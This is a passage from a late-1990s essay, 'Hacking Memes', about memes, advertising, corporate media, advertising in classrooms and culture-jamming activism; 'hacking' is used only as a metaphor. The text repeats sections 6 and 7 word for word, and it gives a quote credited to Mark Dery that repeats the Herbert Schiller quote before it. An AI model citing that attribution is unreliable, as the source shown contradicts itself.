  5602.          now, instantiating itself in Wired's regular feature, Hype List, in articles, and in
  5603.          general currency.
  5604.  
  5605.          As David Bennahum writes at the top of each issue of Meme, a meme is a 
  5606.  
  5607.               contagious idea that replicates like a virus, passed on from mind to
  5608.               mind. Memes function the same way genes and viruses do, propagating
  5609.               through communication networks and face-to-face contact between
  5610.               people. 
  5611.  
  5612.          The tune you can't get out of your head, the phrase you keep using in your
  5613.          conversation, the image of the perfect donut - these are all memes, ideas which
  5614.          have passed from somewhere out there into your head and into your
  5615.          consciousness.
  5616.  
  5617.          Transference is the essence of the meme. Principia Cybernetica Web defines it as
  5618.          "an information pattern, held in an individual's memory, which is capable of being
  5619.          copied to another individual's memory." The Hacker's Dictionary defines it as "An
  5620.          idea considered as a replicator, esp. with the connotation that memes parasitize
  5621.          people into propagating them much as viruses do."
  5622.  
  5623.          The concept, we are told, originates in Richard Dawkins's 1976 book The Selfish
  5624.          Gene. The word 'meme' sounds like 'gene' and has similar properties. Humans,
  5625.          from the point of view of either gene or meme, are the means by which genes - or
  5626.          memes - are propogated. Animals, plants, and even ourselves, are merely their
  5627.          disposable "survival machines".
  5628.  
  5629.          Our human capacity to communicate consists in our ability to transfer idea from
  5630.          one person to another. Not to say that such transference is perfect. We all know
  5631.          the story where the message gets changed as it is whispered ear to ear down a line
  5632.          of people. But it is reliable. Most of the time, the receiver gets the information the
  5633.          sender wanted to convey.
  5634.  
  5635.          Different forms of communication operate more or less effectively. A casual
  5636.          conversation you have on the bus will be forgotten by day's end, while this essay
  5637.          may linger in your mind a few days longer. Neither conversation nor essay,
  5638.          however, has the staying power of the McDonald's jingle (sing it with me: You
  5639.          deserve a break today...). Mere transference is not sufficient. For an idea to take
  5640.          hold in another person, it must be internalized, it must be what Dreyfus and Dreyfus
  5641.          call the expert, or intuitive, state of knowledge.
  5642.  
  5643.          From the standpoint of humans, ideas are the currency of the information
  5644.          economy. An idea which replicates well is worth money, because the idea that
  5645.          implants itself of intuitive knowledge acts as a determinate of behaviour. The best
  5646.          way to get a person to buy your product or to use your service is to internalize it, to
  5647.          make dialing 10-10-800 an action. In advertising it's an old rule of thumb: mention
  5648.          the product name three times in a 15 second spot. 
  5649.  
  5650.          As Andrew Garton laments,
  5651.  
  5652.               The record industry maintains its status in the global economy and its
  5653.               income streams by way of repetition. Music that is played over and over
  5654.               again so much that it creates its own audience that in turn purchase its
  5655.               representation to listen to it over and over again in their homes, their
  5656.               cars, walkmans, bathrooms... anywhere one can think to place a
  5657.               speaker. 
  5658.  
  5659.          Ideas - and not just advertising - transmit themsleves through repetition. 
  5660.  
  5661.          
  5662.                                      Hacking Memes 
  5663.  
  5664.  
  5665.  
  5666.          2. Advertising
  5667.  
  5668.          Repetition alone worked in the old days of limited media. When the sources of
  5669.          information were few and uniform, when there were three networks and one
  5670.          message. Today's consumers are not only more sophisticated - merely making
  5671.          them remember is no longer enough - consumers are the battleground for
  5672.          information wars, with messages flying at them from all directions. Drive down any
  5673.          city street and look at the images: one in ten (if you're lucky) is an actual traffic
  5674.          signal; the rest are trying to implant some idea, some behaviour, into your mind.
  5675.  
  5676.          Advertising today looks for stronger hooks, and it finds them in association and
  5677.          self-identification. The concept is especially simple: find (or define) a person's
  5678.          conception of self which is is pleasing. Mold that conception such that the use of a
  5679.          product or service is essential to that conception. Imprint the idea that in order to
  5680.          be yourself, you need to purchase such-and-such a brand.
  5681.  
  5682.          Nike, for example, understands this. After losing market share to Reebok, Nike's
  5683.          new advertising campaign focussed less and less on shoes and more and more on
  5684.          image. As Randall Lane explains in a recent Forbes article, 
  5685.  
  5686.               Nike's Phil Knight isn't selling shoes. He's selling attitude....
  5687.  
  5688.               Nike would sell not shoes but the athletic ideals of determination,
  5689.               individuality, self-sacrifice and winning....
  5690.  
  5691.               Nike ads almost never pitch product--or even mention the company's
  5692.               name. They create a mood, an attitude, and then associate the product
  5693.               with that mood. Call it image transfer. Cool ads, cool product. As Wieden
  5694.               puts it: "We don't set out to make ads. The ultimate goal is to make a
  5695.               connection." 
  5696.  
  5697.          The idea behind Nike's ads is to transfer a sense of identity from the person to the
  5698.          product.
  5699.          
  5700.          
  5701.                                      Hacking Memes 
  5702.  
  5703.  
  5704.  
  5705.          3. The Corporate Pitch
  5706.  
  5707.          People living in western democracies are flooded with advertising. The illusion is
  5708.          sustained that they are being offered choice, but in reality, they are being presented
  5709.          with a uniform message. Western society does not consist of many cultures,
  5710.          rather, more and more, they are being subsumed into a single culture.
  5711.  
  5712.          The reality of this hit home for me when I found myself listening to - and enjoying -
  5713.          Meredith Brooks's recent top 10 song, Bitch I realized I was watching an
  5714.          advertisement for the movie Practical Magic. Brooks's song - fresh, rebellious,
  5715.          catchy - was appropriated and incorporated into the larger media package. Indeed,
  5716.          it seems that most popular music today ties in with a movie or television show -
  5717.          and that most movies and television shows tie in with additional product lines. 
  5718.  
  5719.          These tie-ins define not only the breadth but also the limits of popular culture. Even
  5720.          rebellion is commodified - if it is not commodified, it is not shown. 'Culture' in our
  5721.          society, both from the popular point of view and even in academic studies - means
  5722.          'mass culture', as defined by the tightly woven network of the mass media meme.
  5723.          As author and pundit Carrie McLaren complains: 
  5724.  
  5725.               The real disappointment lies in (scholars') abject inability to recognize
  5726.               'popular culture' anywhere but in the officially-sanctioned showplaces
  5727.               of corporate America; their utter dependence on television to provide
  5728.               them with an imagery of rebellion. 
  5729.  
  5730.          Or as Mark Dery observes in his classic essay, Culture Jamming, 
  5731.  
  5732.               Corporate ownership of the newsmedia, the subsumption of an
  5733.               ever-larger number of publishing companies and television networks
  5734.               into an ever-smaller number of multinationals, and the increased
  5735.               privatization of truth by an information-rich, technocratic elite are not
  5736.               newly-risen issues. More recent is the notion that the public mind is
  5737.               being colonized by corporate phantasms---wraithlike images of power
  5738.               and desire that haunt our dreams. 
  5739.               
  5740.        
  5741.                                      Hacking Memes 
  5742.  
  5743.  
  5744.  
  5745.          4. Hyper Reality
  5746.  
  5747.          Steve Mizrach, Culture Jamming: The Information War of the 90s:
  5748.  
  5749.               the French philosopher Baudrillard calls our postmodern existence
  5750.               "hyperreality." Real experiences and things have been replaced with
  5751.               simulacra - copies without an original. Due to the power of mass media
  5752.               advertising, our relationship to the signifier has changed. Now it hides
  5753.               the absence of a signified: conceals the inability to deliver real
  5754.               satisfaction by cleverly simulating it. Part of our hyperreal lives is the
  5755.               fact that our simulations are more real than real. Given a better imitation,
  5756.               people choose it over the real thing; hence Disney's Matterhorn enjoys
  5757.               more visitors than the real one in Switzerland. More insidiously, through
  5758.               various obfuscations, people come to think the simulacrum is the real
  5759.               McCoy, and forget about the historical and physical reality it represents. 
  5760.  
  5761.               Modern advertising critics like Mark Crispin Miller often note the hidden
  5762.               messages concealed within the cool graphics and media saturation of
  5763.               Madison Avenue and MTV. Originally, they suggest, advertising often
  5764.               connected the product being sold with some sort of self-image or way of
  5765.               life (pastoral, pleasant, family-oriented.) Often, it was conveyed that the
  5766.               product would somehow confer various advantages - popularity,
  5767.               sexiness, fame, success, power, even individuality. Today, ads are filled
  5768.               with a strange sort of rugged selfishness, misanthropy, and
  5769.               mean-spiritedness ("touch my doritos and die.") A person is told sternly
  5770.               to buy as much as they can of the product but never to share with
  5771.               friends. "Get your own," they're told. While various moral crusaders
  5772.               seek to combat the various sexual innuendos of TV programming, they
  5773.               rarely challenge the more subtle but socially disruptive images found in
  5774.               commercials and other advertising. 
  5775.  
  5776.               The product, no longer able to offer satisfaction on its own ground ("a
  5777.               potato chip is a chip is a chip"), instead offers the consumer a chance to
  5778.               be part of a certain 'crowd' or 'scene.' They belong to a cool "product
  5779.               tribe," revelling in the image and sensibility that the product somehow
  5780.               mystically confers - the fetishism of commodities, hyperaccelerated for
  5781.               Generation X. Analysts of postindustrial America suggest this is the
  5782.               secret hidden within these advertising campaigns - that more and more
  5783.               people are being sold style, image, and celebrity, since there is no
  5784.               substance or material satisfaction to the product-in-itself. Concealed
  5785.               within the jump-cut flash of postmodern advertising is a simple code:
  5786.               consumption is a mode of transcendence, a way to take part in
  5787.               something larger than yourself, "the Pepsi Generation." 
  5788.  
  5789.               Corporations utilize various techniques to carve Americans into
  5790.               various market profiles - not based on what products they use, but on
  5791.               what media messages they respond to. In other words, they
  5792.               are to be sold on the images they want to project to themselves and
  5793.               others, and not on the intrinsic usefulness of consumer items.
  5794.               Whatever values they supposedly  respond to, are translated into
  5795.               clever pitches, suggesting that the product somehow represents or
  5796.               embodies those values. Subliminal seduction has never been that
  5797.               important in advertising, despite the hype, but the use of semiotic
  5798.               strategies certainly has. Products are often "pitched" to specific ethnic
  5799.               groups, minorities, or sub-cultures, often using the Marcusian
  5800.               co-optation strategy of appealing to their own sense of difference or
  5801.               deviance. ("Wear our clothes, and then you'll be a real rebel.")        
  5802.          
  5803.           
  5804.                                      Hacking Memes 
  5805.  
  5806.  
  5807.  
  5808.          5. The Information War
  5809.  
  5810.          Jesse Hirsh: 
  5811.  
  5812.               didn't you hear? they've declared information war against everybody.
  5813.               yep, that's right, the digital economy is really the perpetual war
  5814.               economy. Like genesis the great flood is on, only we're the ones being
  5815.               flooded, or rather bombarded by information, seeking our conversion to
  5816.               the holy faith of consumerism, otherwise known as virtual reality. 
  5817.  
  5818.               and of course in declaring war the state has identified its enemies and
  5819.               scapegoats: hackers, phreakers, and anarchists, all of whom are
  5820.               presumed terrorists. 
  5821.  
  5822.          We tend to think of the media message as pertaining to
  5823.          products and services only, and to restrict our concept
  5824.          of the tie-ins to toys, clothing, and running shoes. But
  5825.          the uniform image being broadcast extends well
  5826.          beyond consumer purchases; it is devoted to creating
  5827.          and maintaining the consumer society. No element of life is sacrosanct; all
  5828.          elements of society are infused.
  5829.  
  5830.          On the one hand, non-corporate forms of information - any information - are
  5831.          attacked. In some cases, the strategy is straight-forwardly political. Herbert Schiller,
  5832.          as quoted by Dery: 
  5833.  
  5834.               The commercialization of information, its private acquisition and sale,
  5835.               has become a major industry. While more material than ever before, in
  5836.               formats created for special use, is available at a price, free public
  5837.               information supported by general taxation is attacked by the private
  5838.               sector as an unacceptable form of subsidy...An individual's ability to
  5839.               know the actual circumstances of national and international existence
  5840.               has progressively diminished. 
  5841.  
  5842.          In Canada and other nations, we see this as the incessant attacks on public
  5843.          broadcasting networks such as the Canadian Broadcasting Corporation. 
  5844.  
  5845.          On another front, it involves attacking the integrity and
  5846.          credibility of alternative news sources. A recent
  5847.          National Post article on the CBC's coverage of
  5848.          biotechnology is typical. The author, Terence Corcoran,
  5849.          writes scathingly, 
  5850.  
  5851.               Ideology certainly dominated CBC Radio's
  5852.               This Morning show yesterday. Reporter Don
  5853.               Carty is a smooth-talking manipulator of
  5854.               words who gives his slanted reports a thin
  5855.               veneer of objectivity. 
  5856.  
  5857.          The corporate culture strives for the middle ground, to portray themselves as
  5858.          objective and neutral; any position from outside that camp is ridiculed as "biased"
  5859.          and "political".
  5860.  
  5861.          Alternatively, public media can be co-opted. Hence, for
  5862.          example, the sale of the educational Access Network by the
  5863.          Government of Alberta to the CHUM Media Group. Or the
  5864.          infiltration of the American Public Broadcasting System by
  5865.          corporate interests, with - as Carrie McLaren observes,
  5866.          inevitable results: 
  5867.  
  5868.               In the wake of the Disney/ABC merger, a Young and
  5869.               Rubicam (huge advertising firm) survey of 8,500 brands
  5870.               worldwide concluded that the most eligible brand for
  5871.               acquisition is the Public Broadcasting Service. Surprise,
  5872.               the home of "educational" programming like Barney and
  5873.               Nova is one big non-commercial commercial. Says
  5874.               PBS spokesperson Stu Kantor, "In terms of
  5875.               differentiation and personal relevance, it is the No. 2
  5876.               (behind Disney) media brand among the total
  5877.               population." 
  5878.  
  5879.          The mainstream media's fostering of a sanitary corporate image extends well
  5880.          beyond news and advertising. Situation comedies, dramas and movies - the
  5881.          mainstream of 'popular culture' - are plagued with product placement and are
  5882.          passed through the image scrubber before they air. The NBC's handling of Atomic
  5883.          Train is typical of the many instances reported by the Student Activists' Network
  5884.          Wayne Grytting, 
  5885.  
  5886.               After heavily promoting the movie's factual basis, NBC suddenly
  5887.               changed its mind with "no input" from its parent company, GE, a big
  5888.               investor in nuclear power. Alerted to the "fact" that nuclear wastes are
  5889.               not transported by trains, they added a disclaimer emphasizing the
  5890.               movie's fictional character which they showed at every commercial
  5891.               break. Then they overdubbed every mention of nuclear waste with the
  5892.               phrase "hazardous waste", thereby achieving the look of a dubbed
  5893.               Japanese horror film. 
  5894.  
  5895.          The image of the world that we receive through popular culture - whether in music,
  5896.          in the cinema, or on television - is a carefully polished version of reality. Mark Dery: 
  5897.  
  5898.               The commercialization of information, its private acquisition and sale,
  5899.               has become a major industry. While more material than ever before, in
  5900.               formats created for special use, is available at a price, free public
  5901.               information supported by general taxation is attacked by the private
  5902.               sector as an unacceptable form of subsidy...An individual's ability to
  5903.               know the actual circumstances of national and international existence
  5904.               has progressively diminished. 
  5905.  
  5906.          As the band Negativeland writes, 
  5907.  
  5908.               It is simply inconceivable that this daily, never ending stream of public
  5909.               suggestion and desire creation has no effect or influence on our spirits,
  5910.               our health, our jobs, our laws, our environment, our culture, our political
  5911.               process, or our national and international policy. 
  5912.               
  5913.               
  5914.                                             Hacking Memes 
  5915.  
  5916.  
  5917.  
  5918.          6. Control of the Classrooms
  5919.  
  5920.          The battle extends to all corners of the information nation, even into the sanctity of
  5921.          the kindergarten classroom. Knowing that repetition and imprinting are key,
  5922.          advertisers are keen to infuse their message into the curriculum. Advertisers, for
  5923.          example, recently placed their product in mathematics textbooks. 
  5924.  
  5925.               "This looks like product placement, as they do in the movies," said
  5926.               David Walsh, director of the National Institute on Media and the Family,
  5927.               based in Minneapolis, which studies the effect of advertising on families.
  5928.               "The effect is the same. It gets at what I call the golden rule of influence,
  5929.               which is when the person being influenced doesn't even know it." 
  5930.  
  5931.          Media groups such as Channel One place television news shows into classrooms.
  5932.          As they say on their website,
  5933.  
  5934.               Channel One News is a daily, televised, 10-minute newscast that is
  5935.               beamed via satellite during the school year to each of the 12,000 schools
  5936.               in the Channel One Network community. Channel One News features
  5937.               stories on breaking news and in-depth issues that affect the world, the
  5938.               nation and specifically America's teenagers. 
  5939.  
  5940.          Leaving aside the question of advertising in education, an examination of what
  5941.          Channel One considers "news" is revealing. Today's (May 27, 1999) edition asks
  5942.          students how they liked Star Wars, covered Alannis Morisette, commented on body
  5943.          image, and reported "Live from Mt. Everest".
  5944.  
  5945.          The message broadcast to students on Channel One is clear: our culture is defined
  5946.          by the movies and music we see and hear, our culture is the best, and the best
  5947.          path to self-actualization is to immerse ourselves in this culture.
  5948.  
  5949.          Listen to Channel One on freedom in China: 
  5950.  
  5951.               Behind the Chinese government's restrictions are cultural and historical
  5952.               factors. For thousands of years, Chinese culture has been based on
  5953.               Confucian values, which people have a respect for authority. The ruler
  5954.               of the people is a father figure whom everyone must obey. The Chinese
  5955.               government's existing authoritarian style of leadership follows the
  5956.               ancient way of emperors who ruled China with "the mandate of
  5957.               Heaven." Individualism is not highly valued in Confucianism. Instead,
  5958.               people are encouraged to act in the best interest of the family and
  5959.               community. 
  5960.  
  5961.          The Chinese culture, according to Channel One, is inherently and irredeemable
  5962.          evil, based on authortarian "Confucian" values. Such an account misrepresents
  5963.          both Chinese culture and Confucianism. By contrast, the American culture is
  5964.          painted in pure tones, 
  5965.  
  5966.               America was founded by English colonists who wanted independence
  5967.               from Great Britain. The United States also has become a haven for
  5968.               immigrants fleeing religious and ethnic persecution in other countries.
  5969.               Because of these historical events, individualism and freedom is highly
  5970.               valued in American culture. 
  5971.  
  5972.          Here we have not only an assumption of genetic and racial purity, we also have a
  5973.          conflation of "freedom" and "individualism". And - leaving aside the fact that the
  5974.          dominant religion in the United States - Christianity - is at least as authoritarian as
  5975.          Confucianism, the 'fact' of freedom in the United States is traced to its religious
  5976.          roots. 
  5977.  
  5978.          Advertisers have long known that imprinting is best accomplished though
  5979.          marketing to kids. The battle for the airwaves and print media has been won. The
  5980.          battle for the classrooms of the nations is just being engaged. 
  5981.                                            
  5982.                                            Hacking Memes 
  5983.  
  5984.  
  5985.  
  5986.          6. Control of the Classrooms
  5987.  
  5988.          The battle extends to all corners of the information nation, even into the sanctity of
  5989.          the kindergarten classroom. Knowing that repetition and imprinting are key,
  5990.          advertisers are keen to infuse their message into the curriculum. Advertisers, for
  5991.          example, recently placed their product in mathematics textbooks. 
  5992.  
  5993.               "This looks like product placement, as they do in the movies," said
  5994.               David Walsh, director of the National Institute on Media and the Family,
  5995.               based in Minneapolis, which studies the effect of advertising on families.
  5996.               "The effect is the same. It gets at what I call the golden rule of influence,
  5997.               which is when the person being influenced doesn't even know it." 
  5998.  
  5999.          Media groups such as Channel One place television news shows into classrooms.
  6000.          As they say on their website,
  6001.  
  6002.               Channel One News is a daily, televised, 10-minute newscast that is
  6003.               beamed via satellite during the school year to each of the 12,000 schools
  6004.               in the Channel One Network community. Channel One News features
  6005.               stories on breaking news and in-depth issues that affect the world, the
  6006.               nation and specifically America's teenagers. 
  6007.  
  6008.          Leaving aside the question of advertising in education, an examination of what
  6009.          Channel One considers "news" is revealing. Today's (May 27, 1999) edition asks
  6010.          students how they liked Star Wars, covered Alannis Morisette, commented on body
  6011.          image, and reported "Live from Mt. Everest".
  6012.  
  6013.          The message broadcast to students on Channel One is clear: our culture is defined
  6014.          by the movies and music we see and hear, our culture is the best, and the best
  6015.          path to self-actualization is to immerse ourselves in this culture.
  6016.  
  6017.          Listen to Channel One on freedom in China: 
  6018.  
  6019.               Behind the Chinese government's restrictions are cultural and historical
  6020.               factors. For thousands of years, Chinese culture has been based on
  6021.               Confucian values, which people have a respect for authority. The ruler
  6022.               of the people is a father figure whom everyone must obey. The Chinese
  6023.               government's existing authoritarian style of leadership follows the
  6024.               ancient way of emperors who ruled China with "the mandate of
  6025.               Heaven." Individualism is not highly valued in Confucianism. Instead,
  6026.               people are encouraged to act in the best interest of the family and
  6027.               community. 
  6028.  
  6029.          The Chinese culture, according to Channel One, is inherently and irredeemable
  6030.          evil, based on authortarian "Confucian" values. Such an account misrepresents
  6031.          both Chinese culture and Confucianism. By contrast, the American culture is
  6032.          painted in pure tones, 
  6033.  
  6034.               America was founded by English colonists who wanted independence
  6035.               from Great Britain. The United States also has become a haven for
  6036.               immigrants fleeing religious and ethnic persecution in other countries.
  6037.               Because of these historical events, individualism and freedom is highly
  6038.               valued in American culture. 
  6039.  
  6040.          Here we have not only an assumption of genetic and racial purity, we also have a
  6041.          conflation of "freedom" and "individualism". And - leaving aside the fact that the
  6042.          dominant religion in the United States - Christianity - is at least as authoritarian as
  6043.          Confucianism, the 'fact' of freedom in the United States is traced to its religious
  6044.          roots. 
  6045.  
  6046.          Advertisers have long known that imprinting is best accomplished though
  6047.          marketing to kids. The battle for the airwaves and print media has been won. The
  6048.          battle for the classrooms of the nations is just being engaged. 
  6049.       
  6050.         Hacking Memes 
  6051.  
  6052.  
  6053.  
  6054.          7. The Counteroffensive: Words as Weapons
  6055.  
  6056.          The counteroffensive is being mounted by a variety of forces who - until the advent
  6057.          of the internet - had few means of communication and interaction. The
  6058.          counteroffensive - an anti-cultural diatribe led by pagans and witches, socialists,
  6059.          anarchists and libertarians, webgrrls and riotgrrls, homosexuals and lesbians,
  6060.          environmentalists and consumer advocates - has moved from the trenches of
  6061.          alternative cafes and billboard defacing to the mainstream of online culture.
  6062.  
  6063.          The counteroffensive - now armed with the tools of mass media - is a guerilla
  6064.          operation using the word as weapon, as described by Dery: 
  6065.  
  6066.               The answer lies, perhaps, in the "semiological guerrilla warfare"
  6067.               imagined by Umberto Eco. "[T]he receiver of the message seems to
  6068.               have a residual freedom: the freedom to read it in a different way...I am
  6069.               proposing an action to urge the audience to control the message and its
  6070.               multiple possibilities of interpretation," he writes. "[O]ne medium can be
  6071.               employed to communicate a series of opinions on another medium...The
  6072.               universe of Technological Communication would then be patrolled by
  6073.               groups of communications guerrillas, who would restore a critical
  6074.               dimension to passive reception." 
  6075.  
  6076.          Or as the Quebec Public interest Research group puts it, 
  6077.  
  6078.               We can break the homogeneity of the media monopoly by expressing
  6079.               ourselves with our own media. Taking back our media means taking
  6080.               back our freedom and engaging in a revolution of many minds against a
  6081.               common enemy. Through workshops, panel discussions, and lectures,
  6082.               events such as Liberating Media seek to encourage and inspire
  6083.               participants to take back our media and our freedom in the diversity of
  6084.               forms in which they both exist. 
  6085.  
  6086.          The methodology of counterattack involves inserting counter-memes into the
  6087.          media mainstream. It is the idea of the meme conceived as virus taken to its logical
  6088.          extreme. This idea expresses itself even in Dawkin's seminary The Selfish Gene
  6089.          and is operationalized in William S. Burroughs's radical treatise, The Electronic
  6090.          Revolution: 
  6091.  
  6092.               The control of the mass media depends on laying down lines of
  6093.               association. When the lines are cut the associational connections are
  6094.               broken. 
  6095.  
  6096.               I have frequently spoken of word and image as viruses or as acting as
  6097.               viruses, and this is not an allegorical comparison. 
  6098.  
  6099.               You will notice that this process is continually subject to random
  6100.               juxtapostation. Just what sign did you see in the Green Park station as
  6101.               you glanced up from the People? Just who called as you were reading
  6102.               your letter in the Times? What were you reading when your wife broke a
  6103.               dish in the kitchen? An unreal paper world and yet completely real
  6104.               because it is actually happening. 
  6105.  
  6106.               The underground press serves as the only effective counter to a
  6107.               growing power and more sophisticated technique used by
  6108.               establishment mass media to falsify, misrepresent, misquote, rule out of
  6109.               consideration as a priori ridiculous or simply ignore and blot out of
  6110.               existence: data, books, discoveries that they consider prejudicial to
  6111.               establishment interest. 
  6112.  
  6113.               Consider the human body and nervous system as unscrambling
  6114.               devices. Remember that when the human nervous system unscrambles
  6115.               a scrambled message this will seem to the subject like his very own
  6116.               ideas which just occurred to him. 
  6117.  
  6118.               Consider now the human voice as a weapon. To what extent can the
  6119.               unaided human voice duplicate effects that can be done with a tape
  6120.               recorder? Learning to speak with the mouth shut, thus displacing your
  6121.               speech, is fairly easy. You can also learn to speak backwards, which is
  6122.               fairly difficult. I have seen people who can repeat what you are saying
  6123.               after you and finish at the same time. This is a most disconcerting trick,
  6124.               particularly when praciticed on a mass scale at a political rally. 
  6125.  
  6126.          Or, as put less eloquently by the Church of the Subgenius: 
  6127.  
  6128.               We're the Happy People. Happy to live in a world of images. Images of
  6129.               war. Family. Crime. Fun images, that help rinse away unsightly
  6130.               self-images, so you can get away from the privacy of your own home.
  6131.               After all, aren't you what everything's here for? You're what we're here
  6132.               for. That's why we made everything! That's why everything made you.
  6133.               And that's why you made us. Who are we? Hacking Memes 
  6134.  
  6135.  
  6136.  
  6137.          7. The Counteroffensive: Words as Weapons
  6138.  
  6139.          The counteroffensive is being mounted by a variety of forces who - until the advent
  6140.          of the internet - had few means of communication and interaction. The
  6141.          counteroffensive - an anti-cultural diatribe led by pagans and witches, socialists,
  6142.          anarchists and libertarians, webgrrls and riotgrrls, homosexuals and lesbians,
  6143.          environmentalists and consumer advocates - has moved from the trenches of
  6144.          alternative cafes and billboard defacing to the mainstream of online culture.
  6145.  
  6146.          The counteroffensive - now armed with the tools of mass media - is a guerilla
  6147.          operation using the word as weapon, as described by Dery: 
  6148.  
  6149.               The answer lies, perhaps, in the "semiological guerrilla warfare"
  6150.               imagined by Umberto Eco. "[T]he receiver of the message seems to
  6151.               have a residual freedom: the freedom to read it in a different way...I am
  6152.               proposing an action to urge the audience to control the message and its
  6153.               multiple possibilities of interpretation," he writes. "[O]ne medium can be
  6154.               employed to communicate a series of opinions on another medium...The
  6155.               universe of Technological Communication would then be patrolled by
  6156.               groups of communications guerrillas, who would restore a critical
  6157.               dimension to passive reception." 
  6158.  
  6159.          Or as the Quebec Public interest Research group puts it, 
  6160.  
  6161.               We can break the homogeneity of the media monopoly by expressing
  6162.               ourselves with our own media. Taking back our media means taking
  6163.               back our freedom and engaging in a revolution of many minds against a
  6164.               common enemy. Through workshops, panel discussions, and lectures,
  6165.               events such as Liberating Media seek to encourage and inspire
  6166.               participants to take back our media and our freedom in the diversity of
  6167.               forms in which they both exist. 
  6168.  
  6169.          The methodology of counterattack involves inserting counter-memes into the
  6170.          media mainstream. It is the idea of the meme conceived as virus taken to its logical
  6171.          extreme. This idea expresses itself even in Dawkin's seminary The Selfish Gene
  6172.          and is operationalized in William S. Burroughs's radical treatise, The Electronic
  6173.          Revolution: 
  6174.  
  6175.               The control of the mass media depends on laying down lines of
  6176.               association. When the lines are cut the associational connections are
  6177.               broken. 
  6178.  
  6179.               I have frequently spoken of word and image as viruses or as acting as
  6180.               viruses, and this is not an allegorical comparison. 
  6181.  
  6182.               You will notice that this process is continually subject to random
  6183.               juxtapostation. Just what sign did you see in the Green Park station as
  6184.               you glanced up from the People? Just who called as you were reading
  6185.               your letter in the Times? What were you reading when your wife broke a
  6186.               dish in the kitchen? An unreal paper world and yet completely real
  6187.               because it is actually happening. 
  6188.  
  6189.               The underground press serves as the only effective counter to a
  6190.               growing power and more sophisticated technique used by
  6191.               establishment mass media to falsify, misrepresent, misquote, rule out of
  6192.               consideration as a priori ridiculous or simply ignore and blot out of
  6193.               existence: data, books, discoveries that they consider prejudicial to
  6194.               establishment interest. 
  6195.  
  6196.               Consider the human body and nervous system as unscrambling
  6197.               devices. Remember that when the human nervous system unscrambles
  6198.               a scrambled message this will seem to the subject like his very own
  6199.               ideas which just occurred to him. 
  6200.  
  6201.               Consider now the human voice as a weapon. To what extent can the
  6202.               unaided human voice duplicate effects that can be done with a tape
  6203.               recorder? Learning to speak with the mouth shut, thus displacing your
  6204.               speech, is fairly easy. You can also learn to speak backwards, which is
  6205.               fairly difficult. I have seen people who can repeat what you are saying
  6206.               after you and finish at the same time. This is a most disconcerting trick,
  6207.               particularly when praciticed on a mass scale at a political rally. 
  6208.  
  6209.          Or, as put less eloquently by the Church of the Subgenius: 
  6210.  
  6211.               We're the Happy People. Happy to live in a world of images. Images of
  6212.               war. Family. Crime. Fun images, that help rinse away unsightly
  6213.               self-images, so you can get away from the privacy of your own home.
  6214.               After all, aren't you what everything's here for? You're what we're here
  6215.               for. That's why we made everything! That's why everything made you.
  6216.               And that's why you made us. Who are we?    
  6217.        
  6218.        
  6219.                                      Hacking Memes 
  6220.  
  6221.  
  6222.  
  6223.          8. Humble Beginnings
  6224.  
  6225.          Forget the names Jerry Rubin and Abbie Hoffman. The prima donna of
  6226.          underground radicalism is probably Saul Alinsky, whose anti-establishment and
  6227.          over-the-top forms of guerilla media propelled a wide variety of alternative causes
  6228.          into 60s mainstream.
  6229.  
  6230.          As one Amazon reviewer writes,
  6231.  
  6232.               Mr. Alinsky captures the outrage organizers have with the status quo.
  6233.               'Why organize?' is the central question that permeates throughout this
  6234.               book, and Mr. Alinsky answers this question with a scathing attack on
  6235.               the powers that be, who are beholden to maintaining the status quo. Mr.
  6236.               Alinsky allows the reader to not just dream of a better America but doles
  6237.               out powerful, practical methods to either; A. work within the current
  6238.               system to effect positive change, or B. bring the system to its knees in
  6239.               the quest toward positive change. An absolute must read for anyone
  6240.               wishing to take on the status quo of poverty, injustice, hatred, and
  6241.               discrimination. 
  6242.  
  6243.          If Alinsky had one major rule (other than "shock them") it was: "use their own rules
  6244.          against them". Consequently, Alinsky followers employed such radical tools as the
  6245.          court system, community newspapers, and town hall meetings.
  6246.  
  6247.          Early meme hackers in the Alinsky mold modified that advice only slightly: use
  6248.          their own words against them.
  6249.  
  6250.          Thus, for example, the Billboard Liberation Front
  6251.          modified public advertising to give common
  6252.          messages a slightly different - and twisted -
  6253.          meaning. Beginning in 1977 (by dropping the
  6254.          "M" in "Max Factor they highlighted the
  6255.          disturbing undertones in that company's slogan,
  6256.          "A pretty face isn't safe in this city") the BLF
  6257.          conducted a series of highly visible alterations in
  6258.          the San Francisco Bay area. The BLF was
  6259.          followed by many others, for example, POPaganda (Ron English). As the
  6260.          Apocalyptic Optimism for the End of History (Abrupt) puts it,
  6261.  
  6262.               Culture Jamming" sticks where rational discourse slides off. It is, simply,
  6263.               the viral introduction of radical ideas. It is viral in that it uses the enemy's
  6264.               own resources to replicate iteself -- copy machines, defaced billboards,
  6265.               web pages. It is radical because--ideally--the message, once deciphered,
  6266.               causes damage to blind belief. Fake ads, fake newspaper articles,
  6267.               parodies, pastiche. The best CJ is totally unexpected, surprising,
  6268.               shocking in its implications. 
  6269.  
  6270.          In a similar vein, Team Seven practised a series of renegade construction activities,
  6271.          recommending for example to its readers that they raise a flag of your their design
  6272.          at their local bank after it has closed for the day, or that they set up a reading area
  6273.          at a predefined other-useage area, such as a car wash or highway media.
  6274.  
  6275.          The Survival Research Laboratories in San Francisco adopt a more artistic format: 
  6276.  
  6277.               Since its inception SRL has operated as an organization of creative
  6278.               technicians dedicated to re-directing the techniques, tools, and tenets of
  6279.               industry, science, and the military away from their typical manifestations
  6280.               in practicality, product or warfare. Since 1979, SRL has staged over 45
  6281.               mechanized presentations in the United States and Europe. Each
  6282.               performance consists of a unique set of ritualized interactions between
  6283.               machines, robots, and special effects devices, employed in developing
  6284.               themes of socio-political satire. Humans are present only as audience or
  6285.               operators. 
  6286.  
  6287.          Meme hacking was limited by technology in the early days. Even Dery could only
  6288.          identify four major categories:
  6289.  
  6290.               Sniping and Subvertising (eg. Adbusters) 
  6291.               Media Hoaxing - Joey Skaggs 
  6292.               Audio Agitprop - eg. Sucking Chest Wound, whose God Family Country
  6293.               ponders mobthink and media bias; The Disposable Heroes of Hiphoprisy,
  6294.               who take aim in "Television, the Drug of the Nation 
  6295.               Billboard Banditry - eg. Billboard Liberation Front 
  6296.  
  6297.          Adbusters is a Vancouver based anti-advertising magazine. It is perhaps best
  6298.          known for Buy Nothing Day and TV Turn-Off Week campaigns. In addition to the
  6299.          monthly magazine, Adbusters attempts to run anti-consumerism advertisements
  6300.          on mainstream television. The response from the networks is usually negative;
  6301.          Adbuster's messages are labled "controversial" and banned. Its most recent
  6302.          campaign, is Economic Progress Killing the Planet - planned for airing during the
